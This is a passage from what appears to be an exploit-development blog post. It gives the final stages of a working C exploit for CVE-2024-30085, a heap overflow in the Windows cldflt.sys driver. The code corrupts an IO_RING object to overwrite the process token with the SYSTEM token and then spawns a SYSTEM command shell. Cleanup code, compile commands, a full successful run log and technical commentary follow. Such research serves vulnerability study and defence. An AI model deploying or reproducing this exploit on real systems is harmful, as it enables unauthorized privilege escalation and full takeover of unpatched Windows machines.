    printf("[*] Step B: Configuring fake buffer entry for token write...\n");
    g_fake_buffer_entry->Address = (PVOID)token_target;
    g_fake_buffer_entry->Length = 8;
    printf("[+] Buffer entry: Address=0x%016llX, Length=8\n",
        (unsigned long long)token_target);

    printf("[*] Step C: Writing SYSTEM token to input pipe...\n");
    printf("[*] SYSTEM token raw: 0x%016llX\n", (unsigned long
long)g_system_token_raw);

    DWORD bytesWritten = 0;
    BOOL bResult = WriteFile(
        g_input_pipe_server,
        &g_system_token_raw, sizeof(ULONG64),
        &bytesWritten, NULL
    );
    if (!bResult || bytesWritten != sizeof(ULONG64)) {
        printf("[-] WriteFile to pipe failed: %lu (wrote %lu bytes)\n",
            GetLastError(), bytesWritten);
        return FALSE;
    }
    printf("[+] Wrote 8 bytes to input pipe\n");

    printf("[*] Step D: Queuing BuildIoRingReadFile (pipe -> EPROCESS+0x4B8)...\n");

    IORING_HANDLE_REF fileRef = IoRingHandleRefFromHandle(g_input_pipe_client);
    IORING_BUFFER_REF bufferRef = IoRingBufferRefFromIndexAndOffset(0, 0);

    HRESULT hr = BuildIoRingReadFile(
        g_ioring_handle,
        fileRef,
        bufferRef,
        8,
        0,
        0,
        IOSQE_FLAGS_NONE
    );
    if (FAILED(hr)) {
        printf("[-] BuildIoRingReadFile failed: 0x%08X\n", (unsigned)hr);
        return FALSE;
    }
    printf("[+] SQE queued successfully\n");

    printf("[*] Step E: Submitting IO_RING...\n");
    UINT32 submitted = 0;
    hr = SubmitIoRing(g_ioring_handle, 1, 5000, &submitted);
    if (FAILED(hr)) {
        printf("[-] SubmitIoRing failed: 0x%08X (submitted=%u)\n",
            (unsigned)hr, submitted);
        return FALSE;
    }
    printf("[+] SubmitIoRing succeeded: submitted=%u\n", submitted);
```

```
    printf("[*] Step F: Checking completion...\n");
    IORING_CQE cqe = {};
    hr = PopIoRingCompletion(g_ioring_handle, &cqe);
    if (FAILED(hr)) {
        printf("[-] PopIoRingCompletion failed: 0x%08X\n", (unsigned)hr);
        return FALSE;
    }
    printf("[+] CQE: ResultCode=0x%08X, Information=%llu\n",
        (unsigned)cqe.ResultCode, (unsigned long long)cqe.Information);

    if (FAILED((HRESULT)cqe.ResultCode)) {
        printf("[-] IO_RING operation failed with ResultCode: 0x%08X\n",
            (unsigned)cqe.ResultCode);
        return FALSE;
    }

    Sleep(100);

     if (pipe_read_reliable) {
        printf("\n[*] Step G: Verifying token replacement via pipe read...\n");
        ULONG64 post_token = 0;
        ULONG64 post_adjacent = 0;
        ReadKernel64(token_target, &post_token);
        ReadKernel64(token_target + 8, &post_adjacent);

        ULONG64 post_stripped = post_token & ~0xFULL;
        printf("[*] EPROCESS+0x4B8 AFTER:  0x%016llX (stripped: 0x%016llX)\n",
            (unsigned long long)post_token, (unsigned long long)post_stripped);
        printf("[*] EPROCESS+0x4C0 AFTER:  0x%016llX\n",
            (unsigned long long)post_adjacent);

        if (post_stripped == g_system_token) {
            printf("[+] VERIFIED: Token successfully replaced with SYSTEM token!\n");
            printf("[+] Our process now runs with SYSTEM identity\n");
        } else {
            printf("[!] Pipe read does not show expected token -- may be stale
data\n");
            printf("[!] CQE confirmed 8-byte write succeeded -- proceeding to SID
check\n");
        }

        if (post_adjacent == pre_adjacent) {
            printf("[+] EPROCESS+0x4C0 UNTOUCHED: 0x%016llX == 0x%016llX\n",
                (unsigned long long)pre_adjacent, (unsigned long long)post_adjacent);
            printf("[+] 8-byte IO_RING write precision CONFIRMED!\n");
            printf("[+] (ALPC write would have required 16-byte read-modify-write)\n");
        } else {
            printf("[!] WARNING: EPROCESS+0x4C0 may have changed\n");
            printf("[!] Was: 0x%016llX, Now: 0x%016llX\n",
                (unsigned long long)pre_adjacent, (unsigned long long)post_adjacent);
        }
    } else {
        printf("\n[*] Step G: Skipping pipe read verification (pipe read
unreliable)\n");
        printf("[*] CQE ResultCode=0x%08X with Information=%llu confirms write
completed\n",
```

```
            (unsigned)cqe.ResultCode, (unsigned long long)cqe.Information);
        printf("[*] Stage 24 SID check (S-1-5-18) will definitively verify token
replacement\n");
    }

    printf("[+] Stage 23 COMPLETE -- IO_RING write submitted (CQE confirmed)\n");
    return TRUE;
}


//============================================================================
// STAGE 24: SPAWN SYSTEM SHELL (DIRECT | NO PARENT SPOOFING)
//============================================================================

static BOOL Stage24_SpawnSystemShell(void) {
    printf("\n=======================================\n");
    printf("    STAGE 24: SPAWN SYSTEM SHELL\n");
    printf("=======================================\n");

    printf("[*] Token already stolen via IO_RING -- spawning shell directly\n");
    printf("[*] No SeDebugPrivilege or parent spoofing needed\n");

    STARTUPINFOW si = {};
    PROCESS_INFORMATION pi = {};
    si.cb = sizeof(STARTUPINFOW);

    WCHAR sysDir[MAX_PATH];
    GetSystemDirectoryW(sysDir, MAX_PATH);
    WCHAR cmdLine[MAX_PATH];
    swprintf(cmdLine, MAX_PATH, L"%s\\cmd.exe", sysDir);

    BOOL result = CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE,
        CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

    if (!result) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Process created, PID: %lu\n", pi.dwProcessId);

    HANDLE hNewToken = NULL;
    if (OpenProcessToken(pi.hProcess, TOKEN_QUERY, &hNewToken)) {
        BYTE buf[256];
        DWORD len = 0;
        if (GetTokenInformation(hNewToken, TokenUser, buf, sizeof(buf), &len)) {
            PSID sid = ((TOKEN_USER*)buf)->User.Sid;
            LPWSTR sidStr = NULL;
            if (ConvertSidToStringSidW(sid, &sidStr)) {
                printf("[+] Shell token SID: %ls\n", sidStr);
                if (wcscmp(sidStr, L"S-1-5-18") == 0) {
                    printf("\n[+] ============================================\n");
                    printf("[+]   CONFIRMED: SYSTEM SHELL SPAWNED!\n");
                    printf("[+]   PID: %lu | SID: S-1-5-18\n", pi.dwProcessId);
                    printf("[+] ============================================\n");
                }
```

```
                else {
                    printf("[-] WARNING: Shell is NOT running as SYSTEM\n");
                    printf("[-] SID: %ls\n", sidStr);
                }
                LocalFree(sidStr);
            }
        }
        CloseHandle(hNewToken);
    }

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    printf("[+] Stage 24 COMPLETE\n");
    return TRUE;
}

//============================================================================
// CLEANUP
//============================================================================

static void Cleanup(void) {
    printf("\n========================================\n");
    printf("    CLEANUP\n");
    printf("========================================\n");

    if (g_ioring_handle && g_fake_buffer_entry && g_leaked_pipe_attr &&
        g_input_pipe_server && g_input_pipe_server != INVALID_HANDLE_VALUE &&
        g_input_pipe_client && g_input_pipe_client != INVALID_HANDLE_VALUE) {

        BYTE pipe_le[16] = { 0 };
        BOOL got_blink = ReadKernelBuffer((ULONG64)g_leaked_pipe_attr, pipe_le, 16);
        ULONG64 corrupted_attr = got_blink ? *(ULONG64*)(pipe_le + 8) : 0;

        if (got_blink && IsKernelPointer(corrupted_attr)) {
            printf("[*] Restoring pipe attr Flink at 0x%016llX via IO_RING...\n",
                (unsigned long long)corrupted_attr);

            g_fake_buffer_entry->Address = (PVOID)corrupted_attr;
            g_fake_buffer_entry->Length = 8;

            ULONG64 original_flink = (ULONG64)g_leaked_pipe_attr;
            DWORD bytesWritten = 0;
            WriteFile(g_input_pipe_server, &original_flink, sizeof(ULONG64),
&bytesWritten, NULL);

            IORING_HANDLE_REF fileRef = IoRingHandleRefFromHandle(g_input_pipe_client);
            IORING_BUFFER_REF bufferRef = IoRingBufferRefFromIndexAndOffset(0, 0);
            BuildIoRingReadFile(g_ioring_handle, fileRef, bufferRef, 8, 0, 0,
IOSQE_FLAGS_NONE);

            UINT32 submitted = 0;
            SubmitIoRing(g_ioring_handle, 1, 5000, &submitted);

            IORING_CQE cqe = {};
            PopIoRingCompletion(g_ioring_handle, &cqe);
```

```
            printf("[+] Pipe Flink restored (status: 0x%08X)\n",
(unsigned)cqe.ResultCode);
        }
    }

    if (g_ioring_handle && g_ioring_object_addr && g_fake_buffer_entry &&
        g_input_pipe_server && g_input_pipe_server != INVALID_HANDLE_VALUE &&
        g_input_pipe_client && g_input_pipe_client != INVALID_HANDLE_VALUE) {
        printf("[*] IO_RING self-cleanup: zeroing RegBuffersCount + RegBuffers (single
16-byte write)...\n");

        g_fake_buffer_entry->Address = (PVOID)(g_ioring_object_addr +
IORING_OBJECT_REGBUFFERSCOUNT_OFFSET);
        g_fake_buffer_entry->Length = 16;

        BYTE zeroBlock[16] = { 0 };
        DWORD bytesWritten = 0;
        WriteFile(g_input_pipe_server, zeroBlock, 16, &bytesWritten, NULL);

        IORING_HANDLE_REF fileRef = IoRingHandleRefFromHandle(g_input_pipe_client);
        IORING_BUFFER_REF bufferRef = IoRingBufferRefFromIndexAndOffset(0, 0);
        BuildIoRingReadFile(g_ioring_handle, fileRef, bufferRef, 16, 0, 0,
IOSQE_FLAGS_NONE);

        UINT32 submitted = 0;
        SubmitIoRing(g_ioring_handle, 1, 5000, &submitted);

        IORING_CQE cqe = {};
        PopIoRingCompletion(g_ioring_handle, &cqe);
        printf("[+] IO_RING RegBuffers zeroed (CQE: 0x%08X, single op, safe to
close)\n",
            (unsigned)cqe.ResultCode);

        BYTE* hioringPtr = (BYTE*)g_ioring_handle;
        *(PULONG)(hioringPtr + HIORING_OFFSET_BUFFER_ARRAY_SIZE) = 0;
        *(PVOID*)(hioringPtr + HIORING_OFFSET_REG_BUFFER_ARRAY) = NULL;
    }

    if (g_ioring_handle) {
        CloseIoRing(g_ioring_handle);
        g_ioring_handle = NULL;
    }
    if (g_input_pipe_server && g_input_pipe_server != INVALID_HANDLE_VALUE) {
        CloseHandle(g_input_pipe_server);
        g_input_pipe_server = NULL;
    }
    if (g_input_pipe_client && g_input_pipe_client != INVALID_HANDLE_VALUE) {
        CloseHandle(g_input_pipe_client);
        g_input_pipe_client = NULL;
    }
    if (g_fake_buffer_entry) {
        VirtualFree(g_fake_buffer_entry, 0, MEM_RELEASE);
        g_fake_buffer_entry = NULL;
    }
    if (g_fake_buffers_array) {
```

```
        VirtualFree(g_fake_buffers_array, 0, MEM_RELEASE);
        g_fake_buffers_array = NULL;
    }

    if (g_alpc_ports) {
        printf("[*] Closing %u ALPC ports...\n", ALPC_PORT_COUNT);
        for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
            if (g_alpc_ports[i]) {
                CloseHandle(g_alpc_ports[i]);
                g_alpc_ports[i] = NULL;
            }
        }
        printf("[+] ALPC ports closed\n");
    }

    if (g_fake_kalpc_reserve_object) {
        VirtualFree(g_fake_kalpc_reserve_object, 0, MEM_RELEASE);
        g_fake_kalpc_reserve_object = NULL;
    }
    if (g_fake_kalpc_message_object) {
        VirtualFree(g_fake_kalpc_message_object, 0, MEM_RELEASE);
        g_fake_kalpc_message_object = NULL;
    }

    if (g_wnf_pad_names) {
        for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++)
            g_NtDeleteWnfStateName(&g_wnf_pad_names[i]);
    }
    if (g_wnf_names && g_wnf_active) {
        for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++)
            if (g_wnf_active[i] && (int)i != g_victim_index)
                g_NtDeleteWnfStateName(&g_wnf_names[i]);
    }
    if (g_wnf_pad_names_second) {
        for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT_SECOND; i++)
            g_NtDeleteWnfStateName(&g_wnf_pad_names_second[i]);
    }
    if (g_wnf_names_second && g_wnf_active_second) {
        for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i++)
            if (g_wnf_active_second[i] && (int)i != g_victim_index_second)
                g_NtDeleteWnfStateName(&g_wnf_names_second[i]);
    }

    if (g_pipe_read && g_pipe_write) {
        for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
            if ((int)i == g_target_pipe_index) continue;
            if (g_pipe_read[i]) CloseHandle(g_pipe_read[i]);
            if (g_pipe_write[i]) CloseHandle(g_pipe_write[i]);
        }
    }

    SetFileAttributesW(g_filePath, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath);
    SetFileAttributesW(g_filePath_second, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath_second);
```

```
    if (g_syncRootPath[0]) CfUnregisterSyncRoot(g_syncRootPath);

    printf("[+] Cleanup complete\n");
}

//==========================================================================
// MAIN
//==========================================================================

int wmain(void) {

printf("==========================================================================\n
");
    printf("  CVE-2024-30085 Exploit | IO_RING Edition 01\n");
    printf("  Privilege Escalation via cldflt.sys Heap-based Buffer Overflow\n");
    printf("  IO_RING Write (8-byte precision) bootstrapped by ALPC Write\n");

printf("==========================================================================\n
");

    if (!InitializeNtdllFunctions() || !InitializeSyncRoot()) {
        printf("[-] Initialization failed\n");
        return -1;
    }

    BOOL success = TRUE;

    if (success) success = Stage01_Defragmentation();
    if (success) success = Stage02_CreateWnfNames();
    if (success) success = Stage03_AlpcPorts();
    if (success) success = Stage04_UpdateWnfPaddingData();
    if (success) success = Stage05_UpdateWnfStateData();
    if (success) success = Stage06_CreateHoles();
    if (success) success = Stage07_PlaceOverflow();
    if (success) success = Stage08_TriggerOverflow();
    if (success) success = Stage09_AlpcReserves();
    if (success) success = Stage10_LeakKernelPointer();

    if (!g_leaked_kalpc) {
        printf("\n[-] FIRST WAVE FAILED - Try again\n");
        getchar();
        Cleanup();
        return -1;
    }

    printf("\n=== FIRST WAVE SUCCESS: Leaked 0x%p ===\n", g_leaked_kalpc);

    if (success) success = Stage11_CreatePipes();
    if (success) success = Stage12_SprayPipeAttributesClaim();
    if (success) success = Stage13_SecondWnfSpray();
    if (success) success = Stage14_CreateHolesSecond();
    if (success) success = Stage15_PlaceSecondOverflow();
    if (success) success = Stage16_TriggerSecondOverflow();
    if (success) success = Stage17_FillWithPipeAttributes();
    if (success) success = Stage18_FindSecondVictimAndLeakPipe();
    if (success) success = Stage19_SetupArbitraryRead();
```

```
    if (success) success = Stage20_ReadKernelMemory();

    if (success) success = Stage21_DiscoverEprocessAndToken();
    if (success) success = Stage22_IoRingSetup();
    if (success) success = Stage23_IoRingTokenStealing();
    if (success) success = Stage24_SpawnSystemShell();


printf("\n=========================================================================
\n");
    printf("  %s\n", success ? "EXPLOIT SUCCESSFUL!" : "EXPLOIT INCOMPLETE");

printf("=========================================================================\n
");

    printf("\n[*] Press ENTER to cleanup and exit...\n");
    getchar();
    Cleanup();

    return success ? 0 : -1;
}
```

This code can be compiled on Visual Studio 2022 (with SDK and WDK installed). If you want to compile it on Visual Studio Code, and I am assume that libraries are located, use:

- `cl /TP /Fe:exploit_ioring_edition_01.exe exploit_ioring_edition_01.c /link Cldapi.lib Ole32.lib Shell32.lib ntdll.lib Advapi32.lib OneCoreUAP.Lib`

The exploit output follows below:

```
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Users\aborges>whoami
desktop-31fh7lh\aborges

C:\Users\aborges>cd C:\Users\aborges\Desktop\RESEARCH

C:\Users\aborges\Desktop\RESEARCH>exploit_ioring_edition_01.exe
=========================================================================
  CVE-2024-30085 Exploit | IO_RING Edition 01
  Privilege Escalation via cldflt.sys Heap-based Buffer Overflow
  IO_RING Write (8-byte precision) bootstrapped by ALPC Write
=========================================================================
[+] All ntdll functions resolved
[+] Sync root registered: C:\Users\aborges\AppData\Roaming\MySyncRoot

=======================================
    STAGE 01: DEFRAGMENTATION
=======================================
[+] Round 1: 5000/5000 pipes
[+] Round 2: 5000/5000 pipes
[+] Waiting for the memory to stabilize...
[+] Stage 01 COMPLETE

=======================================
    STAGE 02: CREATE WNF NAMES
=======================================
```

```
[+] Created 20480 padding WNF names
[+] Created 2048 actual WNF names
[+] Waiting for the memory to stabilize...
[+] Stage 02 COMPLETE

=======================================
    STAGE 03: ALPC PORTS
=======================================
[+] Created 2048 ALPC ports
[+] Waiting for the memory to stabilize...
[+] Stage 03 COMPLETE

=======================================
    STAGE 04: UPDATE WNF PADDING DATA
=======================================
[+] Updated padding WNF data
[+] Waiting for the memory to stabilize...
[+] Stage 04 COMPLETE

=======================================
    STAGE 05: UPDATE WNF STATE DATA
=======================================
[+] Updated 2048 actual WNF objects
[+] Waiting for the memory to stabilize...
[+] Stage 05 COMPLETE

=======================================
    STAGE 06: CREATE HOLES
=======================================
[+] Created 1024 holes
[+] Waiting for the memory to stabilize...
[+] Stage 06 COMPLETE

=======================================
    STAGE 07: PLACE OVERFLOW BUFFER
=======================================
[+] Reparse point set (ChangeStamp=0xC0DE)
[+] Stage 07 COMPLETE

=======================================
    STAGE 08: TRIGGER OVERFLOW
=======================================
[+] Overflow triggered (0x1010 bytes into 0x1000 buffer)
[+] Waiting for the memory to stabilize...
[+] Stage 08 COMPLETE

=======================================
    STAGE 09: ALPC RESERVES
=======================================
[+] Created 526336 total reserves
[+] Saved reserve handle: 0x0000000080000010
[+] Waiting for the memory to stabilize...
[+] Stage 09 COMPLETE

=======================================
    STAGE 10: LEAK KERNEL POINTER
=======================================
[+] Found victim WNF at index 1 (DataSize: 0xFF8)
[+] KERNEL POINTER LEAKED: 0xFFFF960F1A8B7F00
[+] Stage 10 COMPLETE
```

```
=== FIRST WAVE SUCCESS: Leaked 0xFFFF960F1A8B7F00 ===

========================================
    STAGE 11: CREATE PIPES
========================================
[+] Created 1536 pipe pairs
[+] Waiting for the memory to stabilize...
[+] Stage 11 COMPLETE

========================================
    STAGE 12: SPRAY PIPE ATTRS (CLAIM)
========================================
[+] Set 1536 pipe attributes
[+] Waiting for the memory to stabilize...
[+] Stage 12 COMPLETE

========================================
    STAGE 13: SECOND WNF SPRAY
========================================
[+] Created and updated 1536 second wave WNF
[+] Waiting for the memory to stabilize...
[+] Stage 13 COMPLETE

========================================
    STAGE 14: CREATE HOLES (SECOND)
========================================
[+] Created 768 holes
[+] Waiting for the memory to stabilize...
[+] Stage 14 COMPLETE

========================================
    STAGE 15: PLACE SECOND OVERFLOW
========================================
[+] Reparse point set (ChangeStamp=0xDEAD)
[+] Stage 15 COMPLETE

========================================
    STAGE 16: TRIGGER SECOND OVERFLOW
========================================
[+] Second overflow triggered
[+] Waiting for the memory to stabilize...
[+] Stage 16 COMPLETE

========================================
    STAGE 17: FILL WITH PIPE ATTRS
========================================
[+] Set 1536 large pipe attributes
[+] Waiting for the memory to stabilize...
[+] Stage 17 COMPLETE

========================================
    STAGE 18: FIND VICTIM & LEAK PIPE
========================================
[+] Found second victim WNF at index 1
[+] PIPE_ATTRIBUTE LEAKED: 0xFFFF960F1AB087D0
[+] Stage 18 COMPLETE

========================================
    STAGE 19: SETUP ARBITRARY READ
```

```
======================================
[+] Fake pipe_attr at: 0x00007FF672DFDA20
[+] pipe_attribute->Flink corrupted
[+] Stage 19 COMPLETE

======================================
    STAGE 20: READ KERNEL MEMORY
======================================
[+] Found target pipe at index 0
[*] KALPC_RESERVE:
    +0x00: 0xFFFFB68B22304070
    +0x08: 0xFFFF960F1C382E68
    +0x10: 0x0000000000000010
    +0x18: 0xFFFF960F132502B0
[+] Arbitrary READ primitive established!
[+] Stage 20 COMPLETE

======================================
    STAGE 21: DISCOVER EPROCESS/TOKEN
======================================
[+] ALPC_PORT: 0xFFFFB68B22304070
[+] EPROCESS: 0xFFFFB68B2243E0C0 (exploit_ioring)
[*] Our PID: 1796
[+] Our EPROCESS: 0xFFFFB68B2243E0C0
[+] Our Token: 0xFFFF960F1EC31060
[+] SYSTEM EPROCESS: 0xFFFFB68B196A5040
[+] SYSTEM Token: 0xFFFF960F0CA5B760 (raw: 0xFFFF960F0CA5B76E)
[+] Winlogon PID: 5508
[+] Stage 21 COMPLETE

======================================
    STAGE 22: IO_RING SETUP (ALPC BOOTSTRAP)
======================================
[*] Step A: Creating IO_RING...
[+] IO_RING created: handle=0x00000288F8EBCD20
[*] Step B: Creating named pipe for IO_RING data channel...
[+] Input pipe created: server=0x0000000000003F40, client=0x0000000000003F44
[*] Step C: Finding IORING_OBJECT kernel address...
[*] IO_RING kernel handle: 0x0000000000003F3C
[*] Searching 77210 handles for PID=1796, Handle=0x0000000000003F3C...
[+] IORING_OBJECT found: 0xFFFFB68B19DF84E0 (TypeIndex=41)
[+] IORING_OBJECT: 0xFFFFB68B19DF84E0
[*] Step D: Allocating fake IOP_MC_BUFFER_ENTRY...
[+] Fake IOP_MC_BUFFER_ENTRY at: 0x00000288F9010000 (Type=0x0C02, Size=0x80)
[*] Step E: Allocating fake RegBuffers array...
[+] Fake RegBuffers array at: 0x00000288F9020000 -> [0x00000288F9010000]
[*] Step F: Using ALPC write to corrupt IORING_OBJECT.RegBuffers...
[*] ALPC write target: IORING_OBJECT+0xB0 = 0xFFFFB68B19DF8590
[*] IORING_OBJECT+0xB0 BEFORE: 0x0000000000000000 (RegBuffersCount + padding)
[*] IORING_OBJECT+0xB8 BEFORE: 0x0000000000000000 (RegBuffers)
[*] Setting up fake KALPC structures...
[+] Fake KALPC_RESERVE: 0x00000288F9030020
[+] Fake KALPC_MESSAGE: 0x00000288F9040020
[+] ExtensionBuffer -> IORING_OBJECT+0xB0: 0xFFFFB68B19DF8590

[*] Corrupting via first WNF overflow...
[*] Victim WNF index: 1
[*] Victim WNF status: 0xC0000023, stamp: 0xC0DE, size: 0xFF8
[*] Writing fake KALPC_RESERVE pointer 0x00000288F9030020 at offset 0xFF0
[*] WNF update status: 0x00000000
```

```
[+] First WNF overflow complete - Handles array entry corrupted
[*] Sending ALPC messages with IO_RING corruption payload...
[*] pData[0] = 0x0000000000000001 (RegBuffersCount=1)
[*] pData[1] = 0x00000288F9020000 (fake RegBuffers array)
[+] ALPC messages sent
[*] Step G: Patching user-mode HIORING...
[+] HIORING patched: BufferArraySize=1, RegBufferArray=0x00000288F9020000
[*] Step H: Verifying IORING_OBJECT corruption via pipe read...
[*] IORING_OBJECT+0xB0 AFTER: 0x0000000000000001 (RegBuffersCount + padding)
[*] IORING_OBJECT+0xB8 AFTER: 0x00000288F9020000 (RegBuffers)
[+] VERIFIED: IORING_OBJECT.RegBuffers corrupted successfully!
[+] RegBuffersCount=1, RegBuffers=0x00000288F9020000
[+] Stage 22 COMPLETE -- IO_RING primitive established

======================================
    STAGE 23: TOKEN STEALING VIA IO_RING
======================================
[*] Token stealing: overwrite EPROCESS+0x4B8 with SYSTEM token
[*] Target: 0xFFFFB68B2243E578 (our EPROCESS+0x4B8)
[*] Using IO_RING write -- EXACTLY 8 bytes (no adjacent field corruption)

[*] Step A: Reading current EPROCESS+0x4B8 via pipe read...
ReadKernel64: addr=0xFFFFB68B2243E578 -> value=0xFFFFB68B2243E578
ReadKernel64: addr=0xFFFFB68B2243E580 -> value=0xFFFFB68B2243E580
[!] WARNING: Pipe read appears unreliable (value == address pattern)
[!] This can happen after ALPC operations destabilize the pipe corruption
[!] IO_RING write will proceed -- SID check in Stage 24 is definitive
[*] Step B: Configuring fake buffer entry for token write...
[+] Buffer entry: Address=0xFFFFB68B2243E578, Length=8
[*] Step C: Writing SYSTEM token to input pipe...
[*] SYSTEM token raw: 0xFFFF960F0CA5B76E
[+] Wrote 8 bytes to input pipe
[*] Step D: Queuing BuildIoRingReadFile (pipe -> EPROCESS+0x4B8)...
[+] SQE queued successfully
[*] Step E: Submitting IO_RING...
[+] SubmitIoRing succeeded: submitted=1
[*] Step F: Checking completion...
[+] CQE: ResultCode=0x00000000, Information=8

[*] Steps G-I: Skipping pipe read verification (pipe read unreliable)
[*] CQE ResultCode=0x00000000 with Information=8 confirms write completed
[*] Stage 24 SID check (S-1-5-18) will definitively verify token replacement
[+] Stage 23 COMPLETE -- IO_RING write submitted (CQE confirmed)

======================================
    STAGE 24: SPAWN SYSTEM SHELL
======================================
[*] Token already stolen via IO_RING -- spawning shell directly
[*] No SeDebugPrivilege or parent spoofing needed
[+] Process created, PID: 11804
[+] Shell token SID: S-1-5-18

[+] ============================================
[+]   CONFIRMED: SYSTEM SHELL SPAWNED!
[+]   PID: 11804 | SID: S-1-5-18
[+] ============================================
[+] Stage 24 COMPLETE

================================================================================
  EXPLOIT SUCCESSFUL!
```

```
================================================================================

[*] Press ENTER to cleanup and exit...


======================================
    CLEANUP
======================================
[*] Restoring pipe attr Flink at 0xFFFF960F3BB11000 via IO_RING...
[+] Pipe Flink restored (status: 0x00000000)
[*] IO_RING self-cleanup: zeroing RegBuffersCount + RegBuffers (single 16-byte write)...
[+] IO_RING RegBuffers zeroed (CQE: 0x00000000, single op, safe to close)
[*] Closing 2048 ALPC ports...
[+] ALPC ports closed
[+] Cleanup complete

C:\Users\aborges\Desktop\RESEARCH>


Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Users\aborges\Desktop\RESEARCH>whoami
nt authority\system

C:\Users\aborges\Desktop\RESEARCH>ver

Microsoft Windows [Version 10.0.22631.2428]

C:\Users\aborges\Desktop\RESEARCH>
```

The list of stages is as follows:

- **Stage 01:** Defragmentation
- **Stage 02:** CreateWnfNames
- **Stage 03:** AlpcPorts
- **Stage 04:** UpdateWnfPaddingData
- **Stage 05:** UpdateWnfStateData
- **Stage 06:** CreateHoles
- **Stage 07:** PlaceOverflow
- **Stage 08:** TriggerOverflow
- **Stage 09:** AlpcReserves
- **Stage 10:** LeakKernelPointer
- **Stage 11:** CreatePipes
- **Stage 12:** SprayPipeAttrsClaim
- **Stage 13:** SecondWnfSpray
- **Stage 14:** CreateHolesSecond
- **Stage 15:** PlaceSecondOverflow
- **Stage 16:** TriggerSecondOverflow
- **Stage 17:** FillWithPipeAttributes
- **Stage 18:** FindVictimAndLeakPipe
- **Stage 19:** SetupArbitraryRead

- **Stage 20:** ReadKernelMemory
- **Stage 21:** DiscoverEprocessAndToken
- **Stage 22:** IoRingSetup
- **Stage 23:** IoRingTokenStealing
- **Stage 24**: SpawnSystemShell

This list of stages can be divided into four blocks:

- **Block A (Stages 01 to 10):** Leak KALPC_RESERVE pointer.
- **Block B (Stages 11 to 20):** Get and use arbitrary read primitive.
- **Block C (Stages 21 to 22):** ALPC bootstrap.
- **Block D (stage 23 and 24):** Privilege escalation (Token Stealing and Shell).

There are further comments about the code:

- Stages 01 to 20 are identical to ALPC version from previous article, and it is not necessary to comment again.
- Soon at the beginning of the exploit, I have included the <ioringapi.h> header to be able to call multiple I/O Ring public APIs such as CreateIoRing, BuildIoRingReadFile, BuildIoRingWriteFile, SubmitIoRing, PopIoRingCompletion and CloseIoRing. Furthermore, this header provides the possibility to use a series of macros and types such as HIORING, IORING_CQE, IORING_HANDLE_REF, IORING_BUFFER_REF, IoRingHandleRefFromHandle and IoRingBufferRefFromIndexAndOffset.
- To avoid using multiple offsets throughout the code, I have defined some constants (IORING_OBJECT_REGBUFFERSCOUNT_OFFSET and IORING_OBJECT_REGBUFFERS_OFFSET, for example) that would be used later in several parts of the last stages.
- As always happen, structures (_SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, SYSTEM_HANDLE_INFORMATION_EX, IOP_MC_BUFFER_ENTRY and IORING_OBJECT, for example) have been defined to provide the due type to function arguments and returned values. No doubt, one of most important structures of this exploitation architecture is IORING_OBJECT and, in special, IORING_OBJECT.Regbuffers (kernel side) because when I/O Ring processes a registered buffer operation, the kernel will use the index-based access provided by this field to look up proceed with the buffer lookup via _IOP_MC_BUFFER_ENTRY.
- If we corrupt RegBuffers to point to a fake array of pointers (allocated by VirtualAlloc), where the first element (fake[0]) points to user-mode fake _IOP_MC_BUFFER_ENTRY array built in user-space (allocated by VirtualAlloc), and _IOP_MC_BUFFER_ENTRY.Address points to a kernel address, we control what the kernel will access. To know the address and amount of data to transfer, the kernel reads Address and Length fields. One of aspects that I really like about this I/O Ring mechanism is that it allows to write exactly 8 bytes of SYSTEM token to the exploit's _EPROCESS.Token. I mean, I have the possibility to write the minimum necessary, without needing to overwrite fields that would not be used. Of course, there are other important fields such as ReferenceCount (it controls whether kernel considers entry as free or not), Mdl (it must be NULL for our case because if it Is not, this will cause a crash when the kernel accesses our fake MDL) and Flink/Blink pair must be 0 because we want to avoid any transversal walking.
- I have defined a series of offsets (HIORING_OFFSET_KERNEL_HANDLE, HIORING_OFFSET_REG_BUFFER_ARRAY and HIORING_OFFSET_BUFFER_ARRAY_SIZE), all of them

associated with the HIORING handle, which is a pointer to an undocumented user-mode structure allocated by the I/O Ring API library and mechanism, and this handle is returned by CreateIoRing function. These offsets are used in distinct part of the code like FindIoRingObjectAddress function (it is not a kernel function, but one created to a specific role), but not only, and you will understand that the tricky part is that whether we corrupt RegBuffers and RegBuffersCount fields from IORING_OBJECT structure (kernel-side), we also have to corrupt the fields from user-mode HIORING to keep the consistency. The mentioned offsets will be checked by BuildIoRingReadFile function and, obviously, the buffer index cannot be larger then BufferArraySize and if it is then the function rejects and returns immediately. Furthermore, as I add one (just one) fake array, the BufferArraySize must be equal to 1 and RegBufferArray should point to this user-mode fake array.

- Still on the IORING_OBJECT, it is the target of the ALPC write-primitive on Stage 22 because, as mentioned, we will overwrite IORING_OBJECT.RegBuffers and IORING_OBJECT.RegBuffersCount fields, but using only one write as provided by ALPC write-primitive. Actually, there is a suitable observation to do here. When we use ALPC write-primitive to overwrite fields such as _EPROCESS.Token and KTHREAD.PreviousMode, ALPC write-primitive is not so good because these fields are 8-bytes and 1-byte, respectively. However, it is good fit when used with I/O Ring because we use ALPC write-primite overwrite both IORING_OBJECT.RegBuffers and IORING_OBJECT.RegBuffersCount fields at once, and this will be one of steps that will helps us to get an unlimited read-write-primitive.
- As we had done in Token Stealing version of the exploit, we will use g_system_token_raw variable to store the raw value from _EPROCESS.Token field, including EX_FAST_REF count bits.
- Although I always try to avoid using helper functions, I needed to introduce FindIoRingObjectAddress function to translate the user-mode HIORING handle into the equivalent kernel address of the IORING_OBJECT structure.
